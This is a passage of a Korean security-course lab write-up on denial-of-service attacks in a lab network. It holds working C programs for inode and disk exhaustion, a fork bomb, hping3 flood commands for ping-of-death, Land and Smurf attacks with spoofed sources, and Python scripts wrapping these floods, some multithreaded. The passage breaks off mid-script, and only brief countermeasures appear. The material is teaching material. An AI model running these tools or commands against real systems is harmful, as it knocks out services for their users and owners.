네트워크 보안 운영 - 5 (교육 79일차)

SW·2023년 3월 19일
0

###################
Local 에서 공격하는 DoS
###################

실습> 시스템의 디스크 고갈 공격

df -h: 파일의 용량
df -i: 파일의 개수

[root@victim3 ~]# df -h
Filesystem               Size  Used Avail Use% Mounted on
devtmpfs                 475M     0  475M   0% /dev
tmpfs                    487M     0  487M   0% /dev/shm
tmpfs                    487M  7.6M  479M   2% /run
tmpfs                    487M     0  487M   0% /sys/fs/cgroup
/dev/mapper/centos-root   17G  1.7G   16G  10% /
/dev/sda1               1014M  138M  877M  14% /boot
tmpfs                     98M     0   98M   0% /run/user/0
[root@victim3 ~]# df -i
Filesystem               Inodes IUsed   IFree IUse% Mounted on
devtmpfs                 121450   383  121067    1% /dev
tmpfs                    124459     1  124458    1% /dev/shm
tmpfs                    124459   729  123730    1% /run
tmpfs                    124459    16  124443    1% /sys/fs/cgroup
/dev/mapper/centos-root 8910848 41187 8869661    1% /
/dev/sda1                524288   326  523962    1% /boot
tmpfs                    124459     1  124458    1% /run/user/0


# vi diskDoS.c
/*
 * 파일명: diskDoS.c
 * 프로그램 설명: 디스크의 파일의 개수를 넘치게 해서 더이상 파일을 
 * 생성하지 못하게 만드는 공격이다.
 * 작성자: 리눅스마스터넷
 */

#include <stdio.h>

int main()
{
	int i = 1;
	char cmd[50];

	while(1)
	{
		sprintf(cmd, "touch /boot/.%d.txt", i);
        //printf("%d\n", cmd);
        system(cmd);  // touch /boot/.1.txt
        i += 1;       // i++;
	}

	return 0;
}

# gcc -o diskDoS diskDoS.c
# file diskDoS
# ./diskDoS


다른 터미널에서 실행한다.
# watch df -i


  :
  :(생략)
touch: cannot touch `/boot/.58168.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58169.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58170.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58171.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58172.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58173.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58174.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58175.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58176.txt': 장치에 남은 공간이 없음


Ctrl + Z > kill %1
[root@victim3 ~]# df -i
Filesystem               Inodes  IUsed   IFree IUse% Mounted on
devtmpfs                 121450    383  121067    1% /dev
tmpfs                    124459      1  124458    1% /dev/shm
tmpfs                    124459    749  123710    1% /run
tmpfs                    124459     16  124443    1% /sys/fs/cgroup
/dev/mapper/centos-root 8910848  41190 8869658    1% /
/dev/sda1                524288 524288       0  100% /boot
tmpfs                    124459      1  124458    1% /run/user/0

/boot 디렉터리에 파일 개수가 모두 채워졌기 때문에 kernel이 업데이트가 되지 않는다.
kernel을 업데이트 하기 위해서는 파일 여섯개가 필요하므로 inode 여섯개가 최소 있어야 하는데 100% 이기 때문에 
더이상 파일을 만들 수 없기 때문에 업데이트가 실패가 된다.
# yum -y update kernel
  :
  :(생략)
========================================================================================================
 Package             Arch                Version                             Repository            Size
========================================================================================================
Installing:
 kernel              x86_64              3.10.0-1160.76.1.el7                updates               50 M

Transaction Summary
========================================================================================================
Install  1 Package

Total download size: 50 M
Installed size: 64 M
Downloading packages:
Delta RPMs disabled because /usr/bin/applydeltarpm not installed.
kernel-3.10.0-1160.76.1.el7.x86_64.rpm                                           |  50 MB  00:00:04     
Running transaction check
Running transaction test


Transaction check error:
  installing package kernel-3.10.0-1160.76.1.el7.x86_64 needs 6 inodes on the /boot filesystem

Error Summary
-------------

💥💥💥💥💥
대응방안: 디스크 쿼터를 통해서 파일시스템에서 파일의 용량/개수를 제한해야 한다.

테스트가 끝나면 원래대로 돌려놓는다.
파일의 개수가 너무 많으면 rm 명령어의 인수가 너무 많기 때문에 삭제가 안된다.

# cd /boot
# rm -fv .*.txt
bash: /usr/bin/rm: 인수 명단이 너무 김

# find -type f -name '.*.txt' -exec rm -fv {} \;
# find -type f -name '.*.txt' | xargs rm -fv

실습> 시스템의 디스크 고갈 공격

파일의 용량으로 시스템에 남아있는 디스크의 용량 채워서 DoS 공격을 시도한다.

https://ko.wikipedia.org/wiki/XFS

# useradd user1
# su - user1
$ vi diskDoS2.c
/*
 * 파일명: diskDoS2.c
 * 프로그램 설명: 디스크의 용량을 채워서 디스크를 사용하지 못하게 만드는 공격이다.
 * 작성자: 리눅스마스터넷
 */

#include <unistd.h>
#include <sys/file.h>

int main()
{
    char buffer[10000];
    int fd;
    int i = 1;

    // /boot/diskDoS2.txt 파일을 생성한다.
    fd = creat("/boot/diskDoS2.txt", 0644);

    while(1)
    {
         // buffer에 있는 10,000씩 
         write(fd, buffer, sizeof(buffer));
    }

    close(fd);

    return 0;
}

$ gcc -o diskDoS2 diskDoS2.c 
$ ./diskDoS2 
  :
  : <-- 시간이 지난 후 디스크의 남은 공간이 100%가 되면 Ctrl + C 를 눌러서 중지한다.


$ ls -lh /tmp/diskDoS2.txt 
-rw-r--r--. 1 user1 user1 24G  8월 30 20:17 /tmp/diskDoS2.txt



$ df
Filesystem              1K-blocks     Used Available Use% Mounted on
devtmpfs                   919464        0    919464   0% /dev
tmpfs                      931500   444504    486996  48% /dev/shm
tmpfs                      931500     9864    921636   2% /run
tmpfs                      931500        0    931500   0% /sys/fs/cgroup
/dev/mapper/centos-root  28289540 28289520        20 100% /
/dev/sda1                 1038336   153776    884560  15% /boot
tmpfs                      186304        0    186304   0% /run/user/1000
tmpfs                      186304        0    186304   0% /run/user/0


$ df -h
Filesystem               Size  Used Avail Use% Mounted on
devtmpfs                 898M     0  898M   0% /dev
tmpfs                    910M  435M  476M  48% /dev/shm
tmpfs                    910M  9.7M  901M   2% /run
tmpfs                    910M     0  910M   0% /sys/fs/cgroup
/dev/mapper/centos-root   27G   27G   20K 100% /
/dev/sda1               1014M  151M  864M  15% /boot
tmpfs                    182M     0  182M   0% /run/user/1000
tmpfs                    182M     0  182M   0% /run/user/0


HDD 용량이 없는 경우 발생하는 여러 문제점들
# useradd user2
useradd: /etc/passwd.115205: 장치에 남은 공간이 없음
useradd: /etc/passwd을(를) 잠글 수 없습니다. 나중에 다시 시도하십시오.

# yum -y remove kernel
Loaded plugins: fastestmirror
Skipping the running kernel: kernel-3.10.0-1160.el7.x86_64
Resolving Dependencies
--> Running transaction check
---> Package kernel.x86_64 0:3.10.0-1160.76.1.el7 will be erased


[Errno 28] 장치에 남은 공간이 없음: '//var/lib/yum/rpmdb-indexes/conflicts.tmp'

💥💥💥💥💥
대응 방안:
ulimit -a
기본값은 unlimited이므로 ulimit으로 file size를 제한한다.
디스크 쿼터를 이용해서 일반 유저를 제한해야 한다.
일반 유저가 쓰기 권한이 있는 파티션(/home, /tmp)을 분할해서 운영해야 한다.

테스트가 완료되면 파일을 삭제한다.

실습> 메모리 고갈 공격

# yum -y install man man-pages
# man fork

# vi fork.c
/*
 * 파일명: fork.c
 * 프로그램 설명: 자식 프로세스를 생성하는 fork()함수 
 * 작성자: 리눅스마스터넷
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main()
{
    int i = 1;
    
    pid_t pid = fork();

    // if문을 이용한 경우
    if(pid == -1)
    {
        fprintf(stderr,"fork Error \n");
        return 1;
    }

    if(pid == 0) 
        printf("Child process: %d, PID: %d\n", pid, getpid());
    else 
        printf("Parent process: %d, PID: %d\n", pid, getpid());

    return 0;
}

# gcc -o fork fork.c 
# ./fork 
Parent process: 60587, PID: 60586
# Child process: 0, PID: 60587


# vi fork2.c 
/*
 * 파일명: fork2.c
 * 프로그램 설명: 자식 프로세스를 생성하는 fork()함수 
 * 작성자: 리눅스마스터넷
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main()
{
    int i = 1;
    
    pid_t pid = fork();

    // switch ~ case문을 이용한 경우
    switch(pid)
    {
        case -1: fprintf(stderr,"fork Error \n"); 
                 break;
        case  0: printf("Child process: %d, PID: %d\n", pid, getpid());
                 break;
        default: printf("Parent process: %d, PID: %d\n", pid, getpid());
    }

    return 0;
}

# gcc -o fork2 fork2.c 
# ./fork2 
Parent process: 62154, PID: 62153
# Child process: 0, PID: 62154


# vi memoryDoS.c
/*
 * 파일명: memoryDoS.c
 * 프로그램 설명: 자식 프로세스를 생성하는 fork()함수를 무한루프로 실행해서 
 * 메모리를 고갈시키는 공격으로 더이상 자식 프로세스를 생성하지 못하게 만드는 공격이다.
 * 작성자: 리눅스마스터넷
 */

#include <stdio.h>
#include <unistd.h>

int main()
{
    while(1)
    {
        fork();
    }

    return 0;
}


명령어를 실행시키는 순간 시스템이 바로 다운된다.
# gcc -o memoryDoS memoryDoS.c 
# ./memoryDoS

#####################
Remote 에서 공격하는 DoS
#####################

실습> ping of death

attacker: 200.200.200.3 Kali
victim3 : 200.200.200.6 CentOS7

1. 통신 확인
[root@kali ~]# ping -c 4 victim3.linuxmaster.net
PING victim3.linuxmaster.net (200.200.200.6) 56(84) bytes of data.
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=1 ttl=64 time=2.22 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=2 ttl=64 time=0.414 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=3 ttl=64 time=0.486 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=4 ttl=64 time=1.30 ms

--- victim3.linuxmaster.net ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.414/1.104/2.223/0.732 ms

2. 패킷 모니터링
[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

3. ping 패킷 전송
-1: ICMP mode
-d 65000: 패킷 크기
200.200.200.6: 피해자
--flood 최대한 빠르게 전송
[root@kali ~]# hping3 -1 -d 65000 200.200.200.6 --flood

[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
  :
  :(생략)
11:25:05.617333 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617344 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617347 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617359 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617361 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617374 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617376 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617387 IP 200.200.200.6 > 200.200.200.3: ip-proto-1

4. 패킷 저장
[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -w /var/www/html/icmpFlood.pcap
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

[root@kali ~]# time hping3 -1 -d 65000 200.200.200.6 --flood
^C

[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -w /var/www/html/icmpFlood.pcap
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
^C
[root@victim3 ~]# tcpdump -r icmpFlood.pcap 
[root@victim3 ~]# systemctl restart httpd

윈도우에서 icmpFlood.pcap 파일을 다운로드 받아서 와이샤크에서 분석한다.
http://200.200.200.6/icmpFlood.pcap 


hping3 사용법
[root@kali ~]# hping3 --help
usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood	   sent packets as fast as possible. Don't show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don't fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt	    Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)

파이썬 쓰레드 (thread)
프로세스를 실행할 때 싱글 쓰레드로 실행된다.
프로세스를 병렬로 처리할 때 멀티 쓰레드(동시에 실행)를 사용한다.
프로세스에서 동작할 기능을 여러 개 작성해서 동시에 여러개 실행할 때 쓰레드를 이용한다.
지금까지 프로그램을 만든 것은 싱글 쓰레드(동작할 기능이 1개)로 실행한 것이다.
멀티 쓰레드(동작할 기능이 2개 이상)로 실행하는 프로그램을 작성할 것이다.

멀티 쓰레드로 동작할 기능을 함수로 만들어서 사용한다.

공식 문서: https://docs.python.org/ko/3/library/threading.html

쓰레드 사용 방법
1. threading 모듈 사용
2. 서브 쓰레드에서 사용할 함수, 클래스 정의
3. 서브 쓰레드 객체 생성
4. 서브 쓰레드 실행
5. 메인 쓰레드 실행

[root@kali ~]# vi threadTest1.py
#!/usr/bin/python

"""
파일명 : threadTest1.py
프로그램 설명 : 쓰레드 사용하기
"""

# 1. threading 모듈 사용
import threading

# 2. 서브 쓰레드에서 사용할 함수
def myFunction1():
    print("myFunction1() 함수 실행(1 ~ 20) ")
    for i in range(1, 21):
        print(f'myFunction1: {i}')

# 3. 서브 쓰레드 생성
t1 = threading.Thread(target=myFunction1)
t1.start()  # 4. 서브 쓰레드 실행

# 5. 메인 쓰레드 실행
name = input('이름: ')
print(f'입력한 이름은 {name}입니다.')

[root@kali ~]# chmod 755 threadTest1.py
[root@kali ~]# ./threadTest1.py

[root@kali ~]# vi threadTest2.py
#!/usr/bin/python
"""
파일명 : threadTest2.py
프로그램 설명 : 쓰레드 사용하기
"""

# 1. threading 모듈 사용
import threading

# 2. 서브 쓰레드에서 사용할 함수
def myFunction1():
    print("myFunction1() 함수 실행(1 ~ 1000) ")
    for i in range(1, 1001):
        print(f'myFunction1: {i}')

def myFunction2():
    print("myFunction2() 함수 실행(2000 ~ 3001) ")
    for i in range(2000, 3001):
        print(f'myFunction2: {i}')

# 3. 서브 쓰레드 객체 생성
t1 = threading.Thread(target=myFunction1)
t2 = threading.Thread(target=myFunction2)

# 4. 서브 쓰레드 실행
t1.start()  # 첫 번째 서브 쓰레드 실행
t2.start()  # 두 번째 서브 쓰레드 실행

# 5. 메인 쓰레드 실행
#myFunction1()
#myFunction2()
print('Main thread(4000 ~ 5000')
for i in range(4000, 4001):
    print(f'Main thread: {i}')

[root@kali ~]# chmod 755 threadTest2.py
[root@kali ~]# ./threadTest2.py

실습> Land Attack

Land Attack:
출발지 IP주소와 목적지 IP주소가 같게 설정해서 패킷을 전송하는 공격이다.
목적지 IP주소는 victim을 말하기 때문에 출발지 주소도 victim의 IP주소가 된다.

1. 공격 시도
-1 or --icmp : ICMP mode 옵션
--flood: 패킷을 빠르게 보내는 옵션
-a or --spoof: 출발지 IP주소를 스푸핑하는 옵션
[root@kali ~]# hping3 200.200.200.6 -a 200.200.200.6 --icmp --flood

2. 패킷 확인
[root@victim3 ~]# tcpdump -i ens33 icmp -nn
  :
  :(생략)
12:41:48.460361 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 46040, seq 22237, length 8
12:41:48.460363 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 46040, seq 22493, length 8
12:41:48.460388 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 46040, seq 22749, length 8
12:41:48.460389 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 46040, seq 23005, length 8

실습> 공격 툴 작성

1. 공격툴 작성
싱글 쓰레드, scapy 모듈을 사용하지 않은 공격툴을 작성한다. 
[root@kali ~]# vi landAttack.py
#!/usr/bin/env python
# 파일명: landAttack.py
# 프로그램 설명: landAttack DoS 공격 툴
# 작성자: 리눅스마스터넷
# 버전: 2023031601

import sys
import os

if len(sys.argv) != 3:
    help  = f'Usage: {sys.argv[0]} victimIP debug\n'
    help += 'victimIP: 공격 대상\n'
    help += 'debug: 디버그 유무\n'
    help += '- 1: 디버그 모드\n'
    help += '- 0: 공격 모드'

    print(help)
    sys.exit(1)

victimIP  = sys.argv[1]
debugMode = sys.argv[2]

def landAttack(victimIP, debug):
    """
    함수 기능: Land Attack을 공격하는 함수
    인수:
    - victimIP: 공격 대상의 IP주소
    - debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
    리턴값: 없음.
    """

    srcIP = victimIP
    dstIP = srcIP
    landAttackCmd = f'hping3 {srcIP} -a {dstIP} --icmp --flood'

    if debug == '1':
        print(">>> 디버그 모드 <<<")
        print(landAttackCmd)
    else:
        print(">>> 공격 모드 <<<")
        os.system(landAttackCmd)

landAttack(victimIP, debugMode)

2. 공격 툴 실행
실행파일로 권한을 변경한 후 실행한다.
[root@kali ~]# chmod 755 landAttack.py

인수가 없는 경우에는 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py 
Usage: ./landAttack.py victimIP debug
victimIP: 공격 대상
debug: 디버그 유무
- 1: 디버그 모드
- 0: 공격 모드

인수를 IP주소만 사용한 경우 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py 200.200.200.6
Usage: ./landAttack.py victimIP debug
victimIP: 공격 대상
debug: 디버그 유무
- 1: 디버그 모드
- 0: 공격 모드

인수를 IP주소와 디버그 모드를 사용한 경우에는 hping 명령어의 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py 200.200.200.6 1
>>> 디버그 모드 <<<
hping3 200.200.200.6 -a 200.200.200.6 --icmp --flood

3. 패킷 모니터링
[root@victim3 ~]# tcpdump -nn -i ens33 not port 22 and icmp

4. 공격 모드로 공격 툴 실행
인수를 IP주소와 공격 모드를 사용한 경우에는 hping 명령어로 패킷을 Victim3에게 전송한다. 
[root@kali ~]# ./landAttack.py 200.200.200.6 0
>>> 공격 모드 <<<
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown


1. 공격툴 작성
멀티 쓰레드, scapy 모듈을 사용하지 않은 공격툴을 작성한다. 
[root@kali ~]# vi  ./landAttack2.py 
#!/usr/bin/env python
# 파일명: landAttack.py
# 프로그램 설명: landAttack DoS 공격 툴
# 작성자: 리눅스마스터넷
# 버전: 2023031601

import sys
import os

if len(sys.argv) != 3:
    help  = f'Usage: {sys.argv[0]} victimIP debug\n'
    help += 'victimIP: 공격 대상\n'
    help += 'debug: 디버그 유무\n'
    help += '- 1: 디버그 모드\n'
    help += '- 0: 공격 모드'

    print(help)
    sys.exit(1)

victimIP  = sys.argv[1]
debugMode = sys.argv[2]

def landAttack(victimIP, debug):
    """
    함수 기능: Land Attack을 공격하는 함수
    인수:
    - victimIP: 공격 대상의 IP주소
    - debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
    리턴값: 없음.
    """

    srcIP = victimIP
    dstIP = srcIP
    landAttackCmd = f'hping3 {srcIP} -a {dstIP} --icmp --flood'

    if debug == '1':
        print(">>> 디버그 모드 <<<")
        print(landAttackCmd)
    else:
        print(">>> 공격 모드 <<<")
        os.system(landAttackCmd)

# Multi thread 2개 실행
import threading

# target: 실행하고자 하는 함수/클래스의 이름을 사용하는 변수
# args: 함수/클래스에 인수를 넘길 때 사용하는 변수
th1 = threading.Thread(target=landAttack, args=(victimIP,debugMode))  # sub thread 1
th2 = threading.Thread(target=landAttack, args=(victimIP,debugMode))  # sub thread 2
th1.start()  # Sub thread 실행
th2.start()  # Sub thread 실행

# Main thread
landAttack(victimIP, debugMode)

2. 패킷 모니터링
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp

3. 공격 툴 실행
실행파일로 권한을 변경한 후 실행한다.
[root@kali ~]# chmod 755 landAttack.py

4. 공격 모드로 공격 툴 실행
인수를 IP주소와 공격 모드를 사용한 경우에는 hping 명령어로 패킷을 Victim3에게 전송한다. 
[root@kali ~]# ./landAttack2.py 200.200.200.6 0
>>> 공격 모드 <<<
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

실습> Single Thread VS Multi Thread

7초 정도 패킷을 전송하고 전송된 패킷 수를 비교한다.
💥💥💥

>>> 결론 <<<
싱글 쓰레드로 실행한 경우: 7.446초에 패킷 카운트 414,607개 전송
멀티 쓰레드로 실행한 경우: 7.169초에 패킷 카운트 2,106,329개 전송 (싱글 쓰레드보다 5배 차이)

1. Single Thread
싱글 쓰레드로 실행한 경우: 7.565초에 패킷 카운트 414,607

패킷을 모니터링 한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp

공격 모드로 패킷을 전송한다.
[root@kali ~]# time ./landAttack.py 200.200.200.6 0
>>> 공격 모드 <<<
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
414607 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

real	0m7.565s
user	0m0.029s
sys	0m7.446s

패킷을 모니터링을 중지하고 패킷의 받은 개수를 확인한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
  :
  :(생략)
15:37:59.274362 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 6407, seq 2374, length 8
15:37:59.274391 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 6407, seq 2630, length 8
^C
139330 packets captured
414608 packets received by filter  <-- 전송된 패킷 개수
275278 packets dropped by kernel


2. Multi Thread
멀티 쓰레드로 실행한 경우: 7초에 패킷 카운트 2106329 
- 싱글 쓰레드보다 5배 차이가 발생되었다.

패킷을 모니터링 한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp

공격 모드로 패킷을 전송한다.
[root@kali ~]# time ./landAttack2.py 200.200.200.6 0
>>> 공격 모드 <<<
>>> 공격 모드 <<<
>>> 공격 모드 <<<
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
630470 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

--- 200.200.200.6 hping statistic ---
726313 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

--- 200.200.200.6 hping statistic ---
749543 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

real	0m7.169s
user	0m2.575s
sys	0m14.850s

패킷을 모니터링을 중지하고 패킷의 받은 개수를 확인한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
  :
  :(생략)
15:41:04.617637 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 22279, seq 56431, length 8
15:41:04.617639 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 22279, seq 56687, length 8
^C
136289 packets captured
2106329 packets received by filter  <-- 전송된 패킷 개수
1970040 packets dropped by kernel

실습> Smurf Attack

Smurf Attack:
출발지 IP주소를 Victim으로 설정하고 목적지 네트워크의 브로드캐스트로 설정해서 패킷을 전송하는 공격이다.
패킷을 받은 네트워크에서 각 호스트로 패킷을 전송한다.
전송받은 호스트는 Victim에게 패킷을 전송한다.

1. 공격 시도
-1 or --icmp : ICMP mode 옵션
--flood: 패킷을 빠르게 보내는 옵션
-a or --spoof: 출발지 IP주소를 스푸핑하는 옵션
[root@kali ~]# hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood

2. 패킷 확인
[root@victim3 ~]# tcpdump -i ens33 icmp -nn
  :
  :(생략)
14:00:36.869890 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 10533, seq 37030, length 8
14:00:36.869899 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 10533, seq 37286, length 8
14:00:36.869934 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 10533, seq 37286, length 8
14:00:36.870021 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 10533, seq 37542, length 8
14:00:36.870024 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 10533, seq 37542, length 8

실습> 인수 체크

[root@kali ~]# vi argvTest.py
#!/bin/python
"""
# 파일명: argvTest.py
# 프로그램 설명: 인수 체크
# 작성자: 리눅스마스터넷
# 버전: 2023031601
"""

import sys

# argv
argc = len(sys.argv)
print(argc)
print(sys.argv)

# 명령어만 쓰면 사용법을 출력하고 프로세를 종료한다.
if argc ==  1:
    sys.stderr.write(f"Usage: {sys.argv[0]} victim debug")
    sys.exit(1)

print(f"{sys.argv[0]} {sys.argv[1]}  {sys.argv[2]} ")

[root@kali ~]# chmod 755 argvTest.py 
[root@kali ~]# ./argvTest.py
1
['./argvTest.py']
Usage: ./argvTest.py victim debug
[root@kali ~]# ./argvTest.py 200.200.200.6 1
3
['./argvTest.py', '200.200.200.6', '1']
./argvTest.py 200.200.200.6  1 

실습> 공격 툴 작성

[root@kali ]# vi dosAttack.py
#!/usr/bin/env python
# 파일명: dosAttack.py
# 프로그램 설명: Land Attack, Smurf Attack을 지원하는 DoS 공격 툴 
# 작성자: 리눅스마스터넷
# 버전: 2023031601
# argc: 3개 landAttack 공격 시도
# argc: 4개 smurfAttack 공격 시도

import sys
import os

argc = len(sys.argv) 
if  argc != 3 and argc != 4:
    help  = f'Land Attak Usage: {sys.argv[0]} victimIP debug\n'
    help += 'victimIP: 공격 대상\n\n'
    help += f'Smurf Attak Usage: {sys.argv[0]} BroadCastIP victimIP debug\n'
    help += 'BroadCastIP: 공격 대상 브로드캐스트\n'
    help += 'victimIP: 공격 대상\n\n'
    help += 'debug: 디버그 유무\n'
    help += '- 1: 디버그 모드\n'
    help += '- 0: 공격 모드'

    print(help)
    sys.exit(1)

if argc == 3: # Land Attack
    victimIP  = sys.argv[1]
    debugMode = sys.argv[2]

    def landAttack(victimIP, debug):
        """
        함수 기능: Land Attack을 공격하는 함수
        인수:
        - victimIP: 공격 대상의 IP주소
        - debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
        리턴값: 없음.
        """

        srcIP = victimIP
        dstIP = srcIP
        landAttackCmd = f'hping3 {srcIP} -a {dstIP} --icmp --flood'

        if debug == '1':
            print(">>> 디버그 모드 <<<")
            print(landAttackCmd)
        else:
            print(">>> 공격 모드 <<<")
            os.system(landAttackCmd)

    landAttack(victimIP, debugMode)

if argc == 4: # SmLand Attack

    victimNetwork = sys.argv[1]
    victimIP      = sys.argv[2]
    debugMode     = sys.argv[3]

    def smurfAttack(victimNetwork, victimIP, debug):
        """
        함수 기능: Smurf Attack을 공격하는 함수
        인수:
